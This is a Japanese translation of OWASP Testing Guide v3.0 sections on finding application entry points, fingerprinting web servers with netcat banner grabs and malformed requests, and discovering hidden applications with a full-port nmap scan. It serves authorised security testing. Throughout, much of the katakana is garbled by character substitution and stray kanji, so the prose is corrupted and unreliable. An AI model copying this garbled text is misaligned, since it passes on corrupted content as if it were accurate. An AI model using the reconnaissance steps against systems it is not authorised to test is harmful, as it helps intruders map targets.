• 興 味 深 いブッゾが 使 わわれているかについても 意 識 しましょう。 例 えば、“Server: BIG-IP”が 使 わわれている 場 合 、 対 象<br />

のコイトはルードバョヱコーであることが 分 かります。もしあるコイトにルードバョヱコーが 設 置 されていると、 後 ろに<br />

配郤 置 されている 1 台 のコーバの 設 定 が 適遚 切 ではないときに、その 脆 弱 性 のあるコーバへのアキスシを 行 うために<br />

は、(ルードバョヱコーの 機 種 にもよりますが' 複 数 のヨキウシトを 送 信 しなくてはいけない、ということになります。<br />

ブラチクボチクステステとその 事 例<br />

アプリクーシュンヱのエンヱテリポアンヱテの アンヱテの 識 別 :<br />

以 下 はアプヨクーサュヱのウヱトヨホイヱトを 識 別 するための 2 つの 事 例 です。<br />

例 1:<br />

この 例 は、あるエヱョイヱサュップで 買 い 物片 をした 際 の GET ヨキウシトを 示 しています。<br />

サヱプラな GET ヨキウシト:<br />

• GET https://x.x.x.x/shoppingApp/buyme.asp?CUSTOMERID=100&ITEM=z101a&PRICE=62.50&IP=x.x.x.x<br />

• Host: x.x.x.x<br />

• Cookie: SESSIONID=Z29vZCBqb2IgcGFkYXdhIG15IHVzZXJuYW1lIGlzIGZvbyBhbmQgcGFzc3dvcmQgaXMgYmFy<br />

注 目 すべきポアンヱテ:<br />

ここでは、CUSTOMERID, ITEM, PRICE, IP のようなパョミーソと Cookie(パョミーソの 値 をウヱケードしただけなのか、あるいは<br />

ヤーゴを 特牐 定 するスッサュヱ 識 別 子婡 として 利 用 されたか'について 注 目 することになります。<br />

64


<strong>OWASP</strong> Testing Guide v3.0<br />

例 2:<br />

この 例 は、アプヨクーサュヱにルギイヱする 際 の POST ヨキウシトを 示 しています。<br />

サヱプラな POST ヨキウシト:<br />

• POST https://x.x.x.x/KevinNotSoGoodApp/authenticate.asp?service=login<br />

• Host: x.x.x.x<br />

• Cookie:<br />

SESSIONID=dGhpcyBpcyBhIGJhZCBhcHAgdGhhdCBzZXRzIHByZWRpY3RhYmxlIGNvb2tpZXMgYW5kIG1pbmUgaXMg<br />

MTIzNA==<br />

• CustomCookie=00my00trusted00ip00is00x.x.x.x00<br />

POST ミッスーザ 内 のペディ 部邪 :<br />

• user=admin&pass=pass123&debug=true&fromtrustIP=true<br />

注 目 すべきポアンヱテ:<br />

この 例 では、すべてのパョミーソに 対 して 注 目 するのはもちろんのこと、GET ミセッドとは 異 なりそれらが URL 上 ではなくミッ<br />

スーザ 上 のペディ 部邪 によって 渡 される 点 に 特牐 に 注 意 する 必 要 があります。 加 えて、ォシソボイジされた Cookie が 使 用 されて<br />

いる 点 にも 注 目 する 必 要 があります。<br />

ギレアボチクステステとその 事 例<br />

ギリイペッキシテシトによるアプヨクーサュヱウヱトヨホイヱトのテシトは、 上 記 で 説 明 した 方 法 と 同 様 になりますが、1 つ 注 意 点<br />

があります。それは、アプヨクーサュヱが 受 けたデーソを 外 部邪 のヨセーシ( 他 のコーバからの SNMP トョップや、syslog ミッス<br />

ーザ、SMTP、SOAP ミッスーザなど'が 処 理 する 場 合 です。アプヨクーサュヱへの 入 力 に 外 部邪 からのヨセーシが 存 在 する 場 合<br />

は、そのアプヨクーサュヱを 作 成 した 開 発 者 へのヒアヨヱギによって、ヤーゴ 入 力 の 受 入 れや 予 測 をするあらゆる 機 能 に 関 し<br />

ての 情 報 、またそれがどのようにフェーボットされているのかに 関 しての 情 報 を 得 ることにより、 明 確 にすることができます。<br />

例 えば、 開 発 者 はアプヨクーサュヱを 受 入 れる SOAP ヨキウシトに 関 する 情 報 や、その Web コービシについて 明 確 に 説 明 す<br />

ることができます。(たとえブョッキペッキシテシトにより、その Web コービシや 機 能 につい 十 分 把 握 できている 状牮 態 ではなか<br />

ったとしても、です)<br />

参 照<br />

ホワロアテペーパー<br />

• RFC 2616 – Hypertext Transfer Protocol – HTTP 1.1 – http://tools.ietf.org/html/rfc2616<br />

ヂール<br />

プロキシヂール:<br />

• <strong>OWASP</strong>: Webscarab<br />

• Dafydd Stuttard: Burp proxy – http://portswigger.net/proxy/<br />

65


• MileSCAN: Paros Proxy – http://www.parosproxy.org/download.shtml<br />

ブラウザプラギアンヱ<br />

ラウザプラギアンヱ:<br />

• “TamperIE” for Internet Explorer – http://www.bayden.com/TamperIE/<br />

• Adam Judson: “Tamper Data” for Firefox – https://addons.mozilla.org/en-US/firefox/addon/966<br />

4.2.4 ウェブアプリクーシュンヱ、およびびウェブサーバの 識 別 (<strong>OWASP</strong>-IG-004)<br />

概 要<br />

ウェブコーバの 識 別 は、テシト 者 にとってなくてはならない 作 業 です。 稼 働 しているウェブコーバの 種 別 およびそのバーザュ<br />

ヱ 情 報 を 得 た 場 合 、 コーバに 存 在 する 既 知 の 脆 弱 性 を 識 別 することができ、テシトにおいて 効 果 的 な 攻 撃 アプルータが 可<br />

能 になります。<br />

概 要 の 説 明<br />

現 在 、 多 くのプヱゾーから 様 々な 種 類 のウェブコーバが 開 発 されています。ウェブコーバの 種 別 を 知 ることは、テシトを 進逭 め<br />

ていく 過遃 程 や 方 針 転 換 の 際 に 非 常 に 役 に 立 ちます。この 情 報 は、 個 々のウェブコーバは 特牐 定 のケボヱドに 対 するリシホヱ<br />

シが 皆 同 一 にならないという 特牐 徴 を 利 用 します。ウェブコーバに 対 して 特牐 定 のケボヱドを 送 付 し、そのリシホヱシを 詳 しく 分<br />

析 することでこれらの 情 報 を 得 ることができます。 個 々のウェブコーバが 特牐 定 のケボヱドに 対 してどのようにリシホヱシを 返 す<br />

のかについて 把 握 し、それらの 情 報 をデーソプーシ 化 しておきます。そうすれば、テシト 者 はこれらのケボヱドを 送 付 した 際<br />

のリシホヱシをデーソプーシと 比 較 することによりウェブコーバを 特牐 定 することができます。ただ、バーザュヱの 異 なるウェブ<br />

コーバが 同 じリシホヱシを 返 す 場 合 もあるため、より 正 確 に 特牐 定 するために 通 常 様 々な 異 なったケボヱドを 送 付 していること<br />

を 知 っておいてください。まれにバーザュヱが 皆 それぞれ 遊 っていても、すべての HTTP ケボヱドに 対 して 同 じ 結 果 を 返 すコ<br />

ーバがあります。このようなクーシでは、 様 々なケボヱドを 送 信 することで 信 憑 性 を 向 上 させます。<br />

ブラチクボチクステステとその 事 例<br />

ウェブコーバを 最 もサヱプラでプーサッキにテシトする 方 法 は、HTTP リシホヱシブッゾを 注 意 深 く 見 ることです。ツーラ<br />

netcat を 使 って 説 明 します。 以 下 にある HTTP ヨキウシトと HTTP リシホヱシを 示 しています。<br />

$ nc 202.41.76.251 80<br />

HEAD / HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Date: Mon, 16 Jun 2003 02:53:29 GMT<br />

Server: Apache/1.3.3 (Unix) (Red Hat/Linux)<br />

Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT<br />

Etag: “1813-49b-361b4df6”<br />

Accept-Ranges: bytes<br />

Content-Length: 1179<br />

Connection: close<br />

Content-Type: text/html<br />

上 記 Server ブッゾから、 対 象 のコーバは Linux 上 で 稼 動 する Apache のバーザュヱ 1.3.3 であると 推 測 できます。<br />

以 下 にウェブコーバの 種 類 毎 における HTTP リシホヱシブッゾの 例 を2つ 紹 介 します。<br />

66


<strong>OWASP</strong> Testing Guide v3.0<br />

Apache 1.3.23 のコーバ:<br />

HTTP/1.1 200 OK<br />

Date: Sun, 15 Jun 2003 17:10: 49 GMT<br />

Server: Apache/1.3.23<br />

Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT<br />

Etag: 32417-c4-3e5d8a83<br />

Accept-Ranges: bytes<br />

Content-Length: 196<br />

Connection: close<br />

Content-Type: text/HTML<br />

Microsoft IIS 5.0 のコーバ:<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Expires: Yours, 17 Jun 2003 01:41: 33 GMT<br />

Date: Mon, 16 Jun 2003 01:41: 33 GMT<br />

Content-Type: text/HTML<br />

Accept-Ranges: bytes<br />

Last-Modified: Wed, 28 May 2003 15:32: 21 GMT<br />

Etag: b0aac0542e25c31: 89d<br />

Content-Length: 7369<br />

Netscape Enterprise 4.1 のコーバ:<br />

HTTP/1.1 200 OK<br />

Server: Netscape-Enterprise/4.1<br />

Date: Mon, 16 Jun 2003 06:19: 04 GMT<br />

Content-type: text/HTML<br />

Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT<br />

Content-length: 57<br />

Accept-ranges: bytes<br />

Connection: close<br />

SunONE 6.1 のコーバ:<br />

HTTP/1.1 200 OK<br />

Server: Sun-ONE-Web-Server/6.1<br />

Date: Tue, 16 Jan 2007 14:53:45 GMT<br />

Content-length: 1186<br />

Content-type: text/html<br />

Date: Tue, 16 Jan 2007 14:50:31 GMT<br />

Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT<br />

Accept-Ranges: bytes<br />

Connection: close<br />

しかし、この 方 法 はそれほど 信 頼 性 の 高 いものではありません。なぜかというと、Web コイト 側 で Server ブッゾのバナー 情<br />

報 をさまざまは 方 法 によって 変 更 することができるからです。 見 る 者 を 惑 わわす 情 報 が 載 せられたりするクーシも 考 えられます。<br />

例 えば 以 下 のようなリシホヱシがコーバから 送 られたとします。<br />

403 HTTP/1.1 Forbidden<br />

Date: Mon, 16 Jun 2003 02:41: 27 GMT<br />

Server: Unknown-Webserver/1.0<br />

Connection: close<br />

Content-Type: text/HTML; charset=iso-8859-1<br />

このような 場 合 、コーバブッゾのバナー 情 報 からは 何 のコーバが 稼 動 しているのか 判 断 することができません。<br />

67


プロトコルの 振 舞 い<br />

より 効 果 的 な 方 法 は、 多 く 出 回 っている 様 々な 種 類 のウェブコーバの 特牐 性 を 理 解 することです。 使 用 されているウェブコー<br />

バについてより 識 別 し 易 くなる 方 法 論 を 独犉 自 に 収 集 しておくのが 望 ましいでしょう。<br />

HTTP ヘッダフィールドの 特 徴<br />

最 初 に、リシホヱシにある 各 ブッゾの 情 報 を 注 意 深 く 観 察 することです。ウェブコーバは 使 用 するセフトウェアの 種 類 によっ<br />

て、ブッゾ 部邪 にそれぞれの 特牐 徴 が 見 られます。<br />

Apache 1.3.23 のリシホヱシ<br />

$ nc apache.example.com 80<br />

HEAD / HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Date: Sun, 15 Jun 2003 17:10: 49 GMT<br />

Server: Apache/1.3.23<br />

Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT<br />

Etag: 32417-c4-3e5d8a83<br />

Accept-Ranges: bytes<br />

Content-Length: 196<br />

Connection: close<br />

Content-Type: text/HTML<br />

IIS 5.0 のリシホヱシ<br />

$ nc iis.example.com 80<br />

HEAD / HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Content-Location: http://iis.example.com/Default.htm<br />

Date: Fri, 01 Jan 1999 20:13: 52 GMT<br />

Content-Type: text/HTML<br />

Accept-Ranges: bytes<br />

Last-Modified: Fri, 01 Jan 1999 20:13: 52 GMT<br />

Etag: W/e0d362a4c335be1: ae1<br />

Content-Length: 133<br />

Netscape Enterprise 4.1 のリシホヱシ<br />

$ nc netscape.example.com 80<br />

HEAD / HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Server: Netscape-Enterprise/4.1<br />

Date: Mon, 16 Jun 2003 06:01: 40 GMT<br />

Content-type: text/HTML<br />

Last-modified: Wed, 31 Jul 2002 15:37: 56 GMT<br />

Content-length: 57<br />

Accept-ranges: bytes<br />

Connection: close<br />

SunONE 6.1 のリシホヱシ<br />

$ nc sunone.example.com 80<br />

HEAD / HTTP/1.0<br />

HTTP/1.1 200 OK<br />

Server: Sun-ONE-Web-Server/6.1<br />

Date: Tue, 16 Jan 2007 15:23:37 GMT<br />

Content-length: 0<br />

Content-type: text/html<br />

68


<strong>OWASP</strong> Testing Guide v3.0<br />

Date: Tue, 16 Jan 2007 15:20:26 GMT<br />

Last-Modified: Wed, 10 Jan 2007 09:58:26 GMT<br />

Connection: close<br />

上 記 から Apache、Netscape Enterprise、IIS において Dete フィーラドおよび Server フィーラドの 位 置 がそれぞれ 異 なって<br />

いることが 分 かります。<br />

不 完 全 なリクエスト 送 付 によるテスト<br />

もう1つ 有 効 なテシトとして、 不 完媍 全 な 状牮 態 のヨキウシト、もしくはコーバに 存 在 しないヘーザを 指 定 するヨキウシトを 送 付 し、<br />

それらのリシホヱシを 分 析 する 方 法 があります。 以 下 のような HTTP リシホヱシについて 考 えて 見 ましょう。<br />

Apache 1.3.23 のリシホヱシ<br />

$ nc apache.example.com 80<br />

GET / HTTP/3.0<br />

HTTP/1.1 400 Bad Request<br />

Date: Sun, 15 Jun 2003 17:12: 37 GMT<br />

Server: Apache/1.3.23<br />

Connection: close<br />

Transfer: chunked<br />

Content-Type: text/HTML; charset=iso-8859-1<br />

IIS 5.0 のリシホヱシ<br />

$ nc iis.example.com 80<br />

GET / HTTP/3.0<br />

HTTP/1.1 200 OK<br />

Server: Microsoft-IIS/5.0<br />

Content-Location: http://iis.example.com/Default.htm<br />

Date: Fri, 01 Jan 1999 20:14: 02 GMT<br />

Content-Type: text/HTML<br />

Accept-Ranges: bytes<br />

Last-Modified: Fri, 01 Jan 1999 20:14: 02 GMT<br />

Etag: W/e0d362a4c335be1: ae1<br />

Content-Length: 133<br />

Netscape Enterprise 4.1 のリシホヱシ<br />

$ nc netscape.example.com 80<br />

GET / HTTP/3.0<br />

HTTP/1.1 505 HTTP Version Not Supported<br />

Server: Netscape-Enterprise/4.1<br />

Date: Mon, 16 Jun 2003 06:04: 04 GMT<br />

Content-length: 140<br />

Content-type: text/HTML<br />

Connection: close<br />

SunONE 6.1 からのリシホヱシ<br />

$ nc sunone.example.com 80<br />

GET / HTTP/3.0<br />

HTTP/1.1 400 Bad request<br />

Server: Sun-ONE-Web-Server/6.1<br />

Date: Tue, 16 Jan 2007 15:25:00 GMT<br />

Content-length: 0<br />

Content-type: text/html<br />

Connection: close<br />

69


ご 覧 いただいたとおり、それぞれのコーバにおいて 異 なったリシホヱシを 返 しています。また、 リシホヱシはコーバのバー<br />

ザュヱによっても 変 化 します。 存 在 しないプルトケラ(ここでは“JUNK”を 使 用 しています'についても 同 様 の 分 析 が 可 能 になり<br />

ます。 以 下 のリシホヱシを 見 てみましょう。<br />

Apache 1.3.23 のリシホヱシ<br />

$ nc apache.example.com 80<br />

GET / JUNK/1.0<br />

HTTP/1.1 200 OK<br />

Date: Sun, 15 Jun 2003 17:17: 47 GMT<br />

Server: Apache/1.3.23<br />

Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT<br />

Etag: 32417-c4-3e5d8a83<br />

Accept-Ranges: bytes<br />

Content-Length: 196<br />

Connection: close<br />

Content-Type: text/HTML<br />

IIS 5.0 のリシホヱシ<br />

$ nc iis.example.com 80<br />

GET / JUNK/1.0<br />

HTTP/1.1 400 Bad Request<br />

Server: Microsoft-IIS/5.0<br />

Date: Fri, 01 Jan 1999 20:14: 34 GMT<br />

Content-Type: text/HTML<br />

Content-Length: 87<br />

Netscape Enterprise 4.1 のリシホヱシ<br />

$ nc netscape.example.com 80<br />

GET / JUNK/1.0<br />

Bad request<br />

Bad request<br />

Your browser sent to query this server could not understand.<br />

<br />

SunONE 6.1 のリシホヱシ<br />

$ nc sunone.example.com 80<br />

GET / JUNK/1.0<br />

Bad request<br />

Bad request<br />

Your browser sent a query this server could not understand.<br />

<br />

ツールによるテスト<br />

ウェブコーバを 正 確 に 識 別 するためには、どうしても 多 くの 時 間 がかかってしまいます。 幸 い、 現 在 は 多 くのテシトツーラが<br />

出 回 っています。 今 回 紹 介 する“httprint”もその1つです。Httprint は、 対 象 コーバの 種 別 とバーザュヱを 特牐 定 するための<br />

サギネタメを 持 っています。 以 下 に httprint の 動 作 例 を 示 します。<br />

70


<strong>OWASP</strong> Testing Guide v3.0<br />

オンラインによるテスト<br />

対 象 のサーバに 多 くの 情 報 を 送 付 するオンライン 用 のツールとして Netcraft が 挙 げられます。このツールで OS<br />

に 関 する 情 報 、ウェブサーバ 使 用 の 有 無 、uptime の 表 示 、アドレス 所 有 者 、ウェブサーバや OS の 変 更 履 歴 など<br />

の 情 報 を 収 集 することができます。 以 下 に Netcraft の 動 作 例 を 示 します。<br />

71


参 照<br />

ホワイトペーパ<br />

• Saumil Shah: “An Introduction to HTTP fingerprinting” – http://net-square.com/httprint/httprint_paper.html<br />

ツール<br />

• httprint - http://net-square.com/httprint/index.shtml<br />

• Netcraft - http://www.netcraft.com<br />

4.2.5 アプリクーシュンヱの 検 出 (<strong>OWASP</strong>-IG-005)<br />

概 要<br />

ウェブアプヨクーサュヱの 脆 弱 性 をテシトする 場 合 に 最 も 大 切 なシテップは、どのアプヨクーサュヱが 稼 動 しているのかを 見 つ<br />

け 出 すことです。<br />

現 在 、 多 くのアプヨクーサュヱにおいて 既 知 の 脆 弱 性 が 存 在 しています。 中 には、コーバ 権 限 の 取 得 や、デーソを 破 壊 する<br />

攻 撃 の 攻 略 方 法 なども 公 開 されています。また、「 内 部邪 で 使 用 するから 脅 威姕 はない」という 認 識 のヤーゴが 大 勢 いるため、<br />

今 でも 多 くのアプヨクーサュヱにおいて、 設 定 が 不 十 分 であったり、アップデートが 定 期 的 に 適遚 用 されていない 状牮 態 となって<br />

います。<br />

概 要 の 説 明<br />

ウェブコーバの 仮 想 化 技 術 の 浸 透 により、 従 来 あったウェブコーバとその IP アドリシの1 対 1の 関 係 は、もはや 意 味 を 成 さ<br />

なくなってきています。それぞれのサヱペヨッキ 名 が 同 じ IP アドリシになる 複 数 の Web コイトあるいはアプヨクーサュヱを 持<br />

つことは、 決 して 珍 しいことではありません。(このクーシはベシティヱギ 環 境 に 限 ったことではなく、ごく 普 通 の 企 業 の 環 境 に<br />

おいても 同 様 に 当 てはまります'<br />

あなたがスカャヨティの 専 門 家 としてテシトをする 際 には、 一 定 範 囲 の IP アドリシ 群 が 与 えられることでしょう(1つだけの 時 も<br />

ありますが'。これは、あなたが 対 象 のサシテマに 診 断 する 契 約 が 存 在 することによるものであることに 他 なりません。しかし、<br />

いずれにせよ、テシトを 依 頼 された 場 合 には、 対 象 のアプヨクーサュヱの 全 てにおいて( 可 能 であれば 他 の 箇 所 も 含 む'アキ<br />

スシすることが 可 能 であると 思 ってしまいます。ここで1つ 問 題 となるのは、HTTP コービシが 定 められた IP アドリシの 80 番<br />

ホートでベシトされていることです。もしあなたが 特牐 定 の IP アドリシ( 知 っている 限 りのもの'でアキスシすると、「その IP アドリ<br />

シでのウェブコーバはありません」というような 答 えが 返 ってくるかもしれません。その 原 因 は、サシテマの 背 後 に 複 数 のウェ<br />

ブアプヨクーサュヱが「 隠 れて」いて、 関 係 のないサヱペヨッキ 名 (DNS'に 紐 付 くことによるものです。 対 象 のアプヨクーサュヱ<br />

をテシトできたのか、できなかったのかという 結 果 によって、あなたが 行 った 診 断 の 品 質 は、 当 然 ながら 大 きく 変 わわってきます。<br />

依 頼 者 に 伝 えられることが 限 られてしまったり、まったく 伝 えられなかったりする 場 合 があるためです。 対 象 のコイトがヨッタ<br />

ケヱテヱツになると、IP アドリシとその 対 応 するサヱペヨッキ 名 のヨシトを 手 渡 されるかも 知 れません。とはいっても、 情 報 が 部邪<br />

分 的 、すなわわち、サヱペヨッキ 名 が 省 略 されている 場 合 があります。 顧 客 でさえそのことに 気 づいていないかもしれません( 大<br />

きな 企 業 には 特牐 にありがちな 話 です'。<br />

72


<strong>OWASP</strong> Testing Guide v3.0<br />

診 断 のシケープに 影 響 を 与 える 他 の 懸 念 点 として、 理 解 が 困 難 な URL( 例 えば、http://www.example.com/#### 【#に 意 味<br />

不 明 な 文 字 列 が 入 る】'でアキスシできるコイトがあり、 他 の 箇 所 で 参 照 されません。この 事 象 はウョー( 設 定 ポシによる'によ<br />

るものか、 故 意 ( 例 として、 外 部邪 向 けではない 管 理 用 のイヱソーフェーシなど'によるものかのいずれかだと 考 えられます。<br />

これらの 問 題 に 取 り 組 むため、ウェブアプヨクーサュヱを 特牐 定 することが 必 要 になっているのです。<br />

ブラチクボチクステステとその 事 例<br />

ウェブアプリクーシュンヱの 検 出<br />

ウェブアプヨクーサュヱの 検 出 は、ウェブアプヨクーサュヱを 定 められた 手 順 で 特牐 定 するためのプルスシです。 最 終 的 には、<br />

IP アドリシの 組 として(おそらく 一 定 範 囲 のアドリシ 群 だと 思 いますが' 特牐 定 されますが、DNS サヱペヨッキ 名 の 組 合 せになっ<br />

ているか、2 つが 混 合 した 状牮 態 になっている 可 能 性 もあります。この 情 報 は 診 断 を 実 施 するのに 必 要 となる 作 業 で、それが<br />

従 来 からのテシト 方 法 、あるいは 対 象 のアプヨクーサュヱに 特牐 化 した 診 断 になります。どちらの 場 合 でも、 診 断 範 囲 が 明 確 で<br />

ない 場 合 ( 例 えば、URL “http://www.example.com/” に 位 置 するアプヨクーサュヱだけをテシトする 場 合 など'は、 可 能 な 範<br />

囲 まで 診 断 するように 努 めなければなりません。すなわわち、アキスシ 可 能 なコイトはすべて 明 確 にするべきです。<br />

では、 以 降 で 紹 介 する 例 で、 目 的 を 遉 成 するために 利 用 できるテキニッキをいくつか 見 ていきたいと 思 います。<br />

注 意 : 以 下 のテキニッキには、イヱソーネットに 面 したウェブコーバである 場 合 があります。つまり、DNS コーバや Web プー<br />

シの IP 逆 引 き 検 索 コービシや 検 索 ウヱザヱなどで 特牐 定 できるものです。 今 回 の 例 では、(192.168.1.100 のような'プョイプ<br />

ート IP アドリシが 使 わわれています。IP アドリシが 他 で 必 要 としない 限 り 一 般 的 な IP アドリシで 表 し、 匿 名 性 を 保 つようにして<br />

います。<br />

1 つの DNS 名 (あるいは 1 つの IP アドリシ'がどれほどのアプヨクーサュヱに 関 連連 しているのかについて、3 つの 要 素 が 挙<br />

げられます。<br />

1. 異 なる URL<br />

のクース<br />

アプヨクーサュヱに 対 しての 明 快 なウヱトヨホイヱトは、“www.example.com”のような、 簡 潔 な 表 記 方 法 を 用 いてテシト 者 が<br />

容 易 に“http://www.example.com/”(https も 同 様 'と 想 像 できる 場 合 です。しかし、このような 最 も 一 般 的 な 状牮 況 だったとし<br />

ても、ウェブアプヨクーサュヱが“/”から 始妵 まるという 理 由 はどこにもありません。 例 えば、 同 じサヱペヨッキ 名 が<br />

http://www.example.com/url1 http://www.example.com/url2 http://www.example.com/url3 のような 3 つのウェブアプヨ<br />

クーサュヱに 関 連連 しているクーシです。このような 場 合 、URL http://www.example.com/ は 主 要 なヘーザとはなりません。テ<br />

シト 者 がこれらにアキスシするための 方 法 を 知 らなければ、 外 からは 分 からない「 隠 れた」 状牮 態 になります。つまり、この 例 で<br />

は url1、url2、url3 の 存 在 をあらかじめ 知 っていたことになります。あなたが、 通 常 の 方 法 でアキスシさせたくないと 考 えてい<br />

る 場 合 や、 正 しくアキスシする 方 法 を 事 前 に 知 らせていない 場 合 を 除 き、 通 常 、このようにウェブアプヨクーサュヱの 存 在 を 知<br />

らせる 必 要 はありません。これは 決 してコイトを 秘 密 にしたいということではなく、それらの 存 在 と 場 所 を 公 表 しないだけです。<br />

2. 特 別 なポーテ<br />

ウェブアプヨクーサュヱは 通 常 、80 番 ホート(http'、443 ホート(https'で 稼 動 しますが、これらのホートでウェブアプヨクーサ<br />

ュヱが 稼 動 しているのは 皆 さんも 周 知 の 事 実 です。しかし、ウェブアプヨクーサュヱが 任 意 に 設 定 したホートに 設 定 されてい<br />

る(http[s]://www.example.com:port/のように 表 される' 場 合 もあります。 例 えば、http://www.example.com:20000/のような<br />

場 合 です。<br />

3. 仮 想 ホステ<br />

DNS は、1 つの IP アドリシを 1 つまたは 複 数 のサヱペヨッキ 名 に 紐 付 ける 役 割 を 持 っています。 例 えば、IP アドリシが<br />

73


192.168.1.100 は www.example.com, helpdesk.example.com, webmail.example.com の DNS 名 に 紐 付 けられている、という<br />

ような 場 合 です( 実 際 にすべての 名 前 が 1 つの DNS ドミイヱに 属 する 必 要 はありません'。この 1 対 複 数 の 関 係 は、いわわゆ<br />

る 仮 想 ベシトの 利 用 によって 異 なるケヱテヱツに 渡 すために 利 用 されている 可 能 性 があります。この 仮 想 ベシトを 識 別 するた<br />

めの 情 報 は、HTTP1.1 の Host ブッゾに 含 まれています。[1].<br />

我 々は helpdesk.example.com と webmail.example.com の 存 在 をあらかじめ 知 らない 限 り、www.example.com が 明 らかに<br />

なったとしても、それ 以 外 に 他 のドミイヱがあることは、よもや 知 る 由 もないでしょう。<br />

課 題 への 対 処 1– 特 殊 な URL<br />

完媍 全 に 標 準 的 な 名 前 ではないウェブアプヨクーサュヱを 特牐 定 することはできません。 特牐 殊 な 名 前 は、 命 名 規 則 の 基 準 に 従<br />

わわないからです。しかし、テシト 者 が 突 破 口 を 得 るために 使 用 できる 多 くの 技 法 があります。 第 一 に、ウェブコーバの 設 定 が<br />

不 適遚 切 でディリキトヨブョウザヱギが 可 能 な 状牮 態 であったとき、これらのアプヨクーサュヱを 突 き 止 めることは 可 能 かもしれませ<br />

ん。このようなとき、 脆 弱 性 シカメナーが 役 に 立 つでしょう。 第 二 に、これらのアプヨクーサュヱが、 例 えば 検 索 ウヱザヱによっ<br />

てイヱデッキシやキルーョされる 機 会 があるような、 他 のヘーザに 参 照 されている 場 合 があります。もし、www.example.com<br />

上 に 隠 れたアプヨクーサュヱがあると 疑 うなら、Google の Site 機 能 を 使 用 したり、“site: www.example.com”の 検 索 結 果 を 分<br />

析 しましょう。 結 果 の URL の 中 に、 既 知 のアプヨクーサュヱとは 遊 うものが 見 つかるかもしれません。もう 1 つは、 非 公 開 とな<br />

りそうな URL を 突 き 止 めることです。 例 えば Web ミーラのフルヱトウヱドは https://www.example.com/webmail や<br />

https://webmail.example.com/ あるいは https://mail.example.com/ のような URL からアキスシ 可 能 であるかもしれません。<br />

管 理 者 機 能 のイヱソーフェーシも 同 様 で、 隠 された URL( 例 えば、Tomcat の 管 理 者 機 能 など'が 存 在 し、どこからも 参 照 さ<br />

れない 状牮 態 で 潜 んでいる 可 能 性 もあります。このため、 辞 書 攻 撃 (もしくは 推 測 可 能 な 語 句 'を 用 いれば、 思 いがけない 結<br />

果 がでるかもしれません。このようなときにも、 脆 弱 性 シカメナーが 役 に 立 ちます。<br />

課 題 への 対 処 2- 特 別 なポーテ<br />

特牐 別 なホートで 稼 働 しているウェブアプヨクーサュヱを 簡 単 に 識 別 できる 方 法 があります。Nmap[2]に 代 表 されるホートシカメ<br />

ナーは、「-sV」エプサュヱを 用 いることで 稼 働 のコービシを 特牐 定 できるという 特牐 徴 を 持 っており、 任 意 のホート 上 でも http コ<br />

ービシを 特牐 定 することができます。あと 必 要 なのは、64kTCP ホートアドリシ 空 間 全 体 をテシトするフラホートシカメヱです。 例<br />

えば、 以 下 のケボヱドを 見 てみましょう。TCP ケネキトシカメヱで、IP アドリシ 192.168.1.100 にあるすべてのエープヱホートを<br />

洗 い 出 し、 稼 働 しているコービシ 名 を 特牐 定 するケボヱドです(このケボヱドは 主 要 なシイッタだけが 示 されます。 他 にも nmap<br />

には 様 々なエプサュヱが 用 意 されていますが、ここでの 説 明 は 割 愛 します'。<br />

Nmap –PN –sT –sV –p0-65535 192.168.1.100<br />

出 力 には、http や SSL コービシの 稼 働 を 示 すと 想 定 できる 十 分 な 情 報 が 含 まれています(もちろん、この SSL が https で 用<br />

いられていることを 調 べる 必 要 があります'。 例 えば、 前 述 のケボヱドによる 出 力 は 以 下 のようになります。<br />

Interesting ports on 192.168.1.100:<br />

(The 65527 ports scanned but not shown below are in state: closed)<br />

PORT STATE SERVICE VERSION<br />

22/tcp open ssh OpenSSH 3.5p1 (protocol 1.99)<br />

80/tcp open http Apache httpd 2.0.40 ((Red Hat Linux))<br />

443/tcp open ssl OpenSSL<br />

901/tcp open http Samba SWAT administration server<br />

1241/tcp open ssl<br />

Nessus security scanner<br />

3690/tcp open unknown<br />

8000/tcp open http-alt?<br />

8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1<br />

ここから、 以 下 のことが 推 察 されます。<br />

74


<strong>OWASP</strong> Testing Guide v3.0<br />

• Apache による http コーバがホート 80 番 で 稼 働 している。<br />

• ホート 443 番 で https コーバが 稼 働 しているように 推 測 できる(ただし、https://192.168.1.100 にアキスシするなど<br />

して 実 際 に 確 かめる 必 要 がある'。<br />

• 901 ホートは SWAT の Web イヱソーフェーシである Samba である。<br />

• 1241 番 ホートの 稼 働 コービシは、https ではなく SSL プーシの Nessus デームヱである。<br />

• 3690 ホートは 特牐 定 できないコービシが 稼 働 している。(nmap は 識 別 情 報 を 返 します。もし、あなたがそのコービシ<br />

を 特牐 定 することができる 場 合 、その 識 別 情 報 を nmap の Fingerprint デーソプーシに 登 録 することができます。 以 降<br />

nmap はその 識 別 情 報 を 用 いてコービシを 特牐 定 することができるようになります。ただし、ここでは 簡 易 的 に 説 明 す<br />

るため 省 略 しています'。<br />

• 他 に 特牐 定 できないコービシが 8000 番 ホートで 稼 働 していますが、おそらく http コービシであると 考 えられます。こ<br />

のホート 上 で http コービシが 稼 働 していることは、 決 して 不 思 議 ではありません。ちょっと 見 てみましょう。<br />

$ telnet 192.168.10.100 8000<br />

Trying 192.168.1.100…<br />

Connected to 192.168.1.100.<br />

Escape character is ‘^]’.<br />

GET / HTTP/1.0<br />

HTTP/1.0 200 OK<br />

pragma: no-cache<br />

Content-Type: text/html<br />

Server: MX4J-HTTPD/1.0<br />

expires: now<br />

Cache-Control: no-cache<br />

<br />

…<br />

これは、HTTP コーバが 稼 動 しているかどうかを 確 認 しています。 他 にも、Web ブョウゴから URL を 指 定 してアキスシする 方<br />

法 や、 上 記 のように HTTP のイヱソョキサュヱを 模 倣 した Perl ケボヱドの GET、あるいは HEAD ミセッドを 利 用 しても 同 様 に 確<br />

認 することができました(ただし、HEAD ヨキウシトはすべてのコーバで 受 け 入 れられるという 訳 ではないかもしれません'。<br />

